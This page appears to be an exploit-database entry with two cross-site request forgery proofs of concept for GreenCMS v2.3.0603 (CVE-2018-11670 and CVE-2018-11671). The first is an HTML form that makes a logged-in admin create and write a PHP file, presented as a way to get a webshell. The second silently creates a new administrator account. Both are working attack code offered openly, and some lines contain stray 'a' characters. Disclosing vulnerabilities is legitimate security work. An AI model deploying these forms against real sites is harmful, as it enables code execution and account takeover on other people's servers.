GreenCMS 2.3.0603 Cross Site Request Forgery

Related Vulnerabilities: CVE-2018-11670   CVE-2018-11671  
Publish Date: 03 Jun 2018
Author: xichao
                Exploit 1 of 2:

# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11670
  
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.
 
poc:
 
<span style="font-size:18px;"><!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="UTF-8"> 
    <title>csrftest</title> 
</head> 
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
    <script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
    <input type="hidden" name="cmd" value="put">
    <input type="hidden" name="target" value="l1_eGMucGhw">
a    <input type="hidden" name="content" value="<?php phpinfo();?>">
    <button type="submit" value="Submit">WebShell</button>
    </form>
    </body>
</html></span>
 
References:
http://www.iwantacve.cn/index.php/archives/38/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
https://github.com/GreenCMS/GreenCMS/issues/108

----------------
Exploit 2 of 2:

# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671
  
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.
 
poc:
 
<span style="font-size:18px;"><!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <title>csrftest</title>  
</head>  
aa<body>  
    aaaa<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">  
aaaaaaaa<input type="hidden" name="user_id0" value="1">  
aaaaaaaa<input type="hidden" name="user_login" value="test1">
aaaaaaaa<input type="hidden" name="password" value="test1">  
aaaaaaaa<input type="hidden" name="rpassword" value="test1">  
aaaaaaaa<input type="hidden" name="user_nicename" value="123">  
aaaaaaaa<input type="hidden" name="user_email" value="123%40Qq.com">  
aaaaaaaa<input type="hidden" name="user_url" value="www.baidu.com">  
aaaaaaaa<input type="hidden" name="user_intro" value="test">  
aaaaaaaa<input type="hidden" name="user_status" value="1">  
aaaaaaaa<input type="hidden" name="role_id" value="1">
        <button type="submit" value="Submit">add admin</button>  
aaaaaa</form>  
    </body>
</html></span>
 
References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109

<p>